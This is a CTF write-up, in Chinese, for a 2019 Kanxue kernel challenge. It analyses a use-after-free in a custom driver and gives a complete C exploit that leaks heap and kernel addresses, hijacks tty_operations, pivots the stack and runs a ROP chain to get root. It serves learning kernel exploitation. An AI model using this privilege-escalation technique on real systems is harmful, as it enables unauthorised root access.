【2019看雪CTF】Q3赛季 第十一题：绝地反击 WP

分析

⾸先看虚拟机启动脚本：

qemu-system-x86_64 -m 256M \
-nographic -kernel $bzImage_dir \
-append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1
kaslr' \
-monitor /dev/null -initrd $cpio_dir \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap

可以看到开启了地址随机化，smap，smep保护
同时rcS可以看到载⼊了mod.ko驱动
在驱动中可以看到存在uaf漏洞：

    case 0x133D:
    if ( copy_from_user(&v17, v3, 24LL)
    || v17 >= cnt
    || cnt <= v18
    || cnt <= v19
    || (v7 = &staffs[4 * v19], *v7 == 3735928559LL)
    || v18 != v7[2] )
    {
        LABEL_39:
        v4 = -22LL;
    }
    else if ( v7[1] != 3735928559LL || staffs[4 * v17] != 3735928559LL
    || v17 == v18 )
    {
        staffs[4 * v17 + 2] = -1LL;
        LABEL_16:
        v4 = 0LL;
    }
    else
    {
        v4 = 0LL;
        kfree(v7[3]);
    }

注意触发漏洞的条件:⾸先在前⾯需要set第三个参数对应的staff结构体的2,3位为⼀个标记为deadbeef的staff，⽽后第⼆个参数与第⼀个参数不同且都标志位为0xdeadbeef，且第⼆个staff为第三个中对应设置的staff。

思路

存在uaf漏洞且存在随机化，⾸先要leak堆地址和内核加载基址。堆地址可以直接在free后通过fd指针获得。注意到驱动申请堆块⼤⼩为0x400，这时候即可想到打开⼀个tty设备，让其对应结构体分配到free的chunk上，即可leak出内核加载基址。
可以leak出堆地址和内核加载基址后，⾸先想到的是start ctf中的，再次利⽤UAF分配到modprobe_path位置，覆盖掉后再运⾏⼀个错误格式的elf，触发运⾏预设脚本来提权，但是成功覆盖后总是触发失败，不知道原因。
第⼆种⽅法，就是⽐较普通的，通过uaf来修改tty_struct，来修改tty_operations指向⾃⼰伪
造的结构体来控制程序流。
但是伪造⽅法卡了很久，因为存在smap保护，不能直接像之前遇到的xchg解决。
这时候只能尝试tty_operations中的所有操作，看哪⼀个能结合现有rop链来控制栈，最后选择write操作。
write时，可以看到分布为：

$rsp->  return addr
        user_data_addr

同时找到⼀条可以pop rsp的rop链：

.text:FFFFFFFF811751F3 pop rcx
.text:FFFFFFFF811751F4 or eax, 415BFFF4h
.text:FFFFFFFF811751F9 pop rsp
.text:FFFFFFFF811751FA pop rbp
.text:FFFFFFFF811751FB retn

由此便可以在write的过程中控制栈指向所要write的⽤户数据（write前已被copy⼊内核空间）。此时即可常规伪造rop链来执⾏commit_creds(prepare_kernel_cred(0)），再返回⽤户态完成提权。

exp

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
struct _tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};
#define KERNCALL __attribute__((regparm(3)))
long int data[0x400];
void new(int fd){
    ioctl(fd,0x1336);
}
void dead(int fd,long int index){
    ioctl(fd,0x1338,index);
}
void alive(int fd,long int index){
    ioctl(fd,0x1339,index);
}
void set(int fd,long int dest,long int src){
    long int arg[2]={src,dest};
    ioctl(fd,0x1337,arg);
}
void fake(int fd,long int arg1,long int arg2,long int arg3){
    long int arg[3]={arg1,arg2,arg3};
    ioctl(fd,0x133d,arg);
}
void leak(int fd,long int index,long int size){
    long int arg[3]={index,data,size};
    ioctl(fd,0x133b,arg);
}
void edit(int fd,long int index,long int *user,long int size){
    long int arg[3]={index,user,size};
    ioctl(fd,0x133a,arg);
}
void info(){
    for(int i=0;i<=60;i++){
        printf("6llx | 6llx\n",data[2*i],data[2*i+1]);
    }
}
void shell(){
    system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
    );
}
struct _tty_operations tty_operations;
int main(){
    save_status();
    signal(SIGSEGV, shell);
    int fd=open("/dev/kpwn",0);
    new(fd);
    new(fd);
    new(fd);
    new(fd);
    dead(fd,0);
    set(fd,3,0);
    alive(fd,0);
    dead(fd,1);
    fake(fd,1,0,3);
    leak(fd,3,0x200);
    long int heap_addr=data[0];
    printf("[*]heap addr=0x%llx\n",heap_addr);
    int fd2=open("/dev/ptmx",1);
    leak(fd,3,0x300);
    long int kernel_addr=(data[76]-0x17a820);
    printf("[*]kernel addr=0x%llx\n",kernel_addr);
    long int fake_option=heap_addr+0x400;
    //info();
    printf("[*]fake op addr=0x%llx\n",fake_option);
    new(fd);
    set(fd,3,0);
    long int magic=kernel_addr+0x1751f3;
    long int user[30];
    for(int i=0;i<20;i++){
    user[i]=magic;
    }
    //info();
    //0xffffffffc0002400
    edit(fd,3,user,0x100);
    user[0]=data[0];
    user[1]=data[1];
    user[2]=data[2];
    user[3]=fake_option;
    edit(fd,2,user,0x20);
    int i=0;
    user[i++]=0;
    user[i++]=kernel_addr+0x118fab;//pop_rdx_rdi
    user[i++]=0;
    user[i++]=0;
    user[i++]=kernel_addr+0x4f050;//prepare_kernel_cred
    user[i++]=kernel_addr+0x1ed3e;//xor pop ret
    user[i++]=0;
    user[i++]=kernel_addr+0x10f29f;
    user[i++]=0;
    user[i++]=kernel_addr+0x4f210;
    user[i++]=kernel_addr+0x200c2e;//swapgs;popfq;pop rbp;ret
    user[i++]=0x246;
    user[i++]=0;
    user[i++]=kernel_addr+0x1a306;
    user[i++]=shell;
    user[i++]=user_cs;
    user[i++]=user_eflags;
    user[i++]=user_sp;
    user[i++]=user_ss;
    write(fd2,user,0xb0);
}

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